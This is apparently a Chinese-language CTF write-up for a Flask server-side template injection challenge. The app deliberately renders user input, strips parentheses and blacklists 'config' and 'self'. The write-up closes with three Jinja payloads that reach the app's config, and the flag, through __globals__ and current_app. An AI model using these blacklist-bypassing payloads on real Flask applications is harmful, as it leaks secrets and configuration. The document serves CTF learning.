1. import flask
    2. import os
    3. app = flask.Flask(__name__)
    4. app.config['FLAG'] = os.environ.pop('FLAG')
    5. @app.route('/')
    6. def index():
    7. return open(__file__).read()
    8. @app.route('/shrine/<path:shrine>')
    9. def shrine(shrine):
    10. def safe_jinja(s):
    11. s = s.replace('(', '').replace(')', '')
    12. blacklist = ['config', 'self']
    13. return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
    14. return flask.render_template_string(safe_jinja(shrine))
    15. if __name__ == '__main__':
    16. app.run(debug=True)

    是一道ssti注入题目,flag在flask的config中,但是()都被过滤了,所以不能使用任何函数。
    既然flag在config中,那么使用{{config['FLAG']}}即可读取flag,但是config也被过滤掉了。
    除此之外,还有另外一种方式可以读取config,就是利用全局变量

    1. {{url_for.__globals__['current_app'].config.FLAG}}
    2. {{get_flashed_messages.__globals__['current_app'].config.FLAG}}
    3. {{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}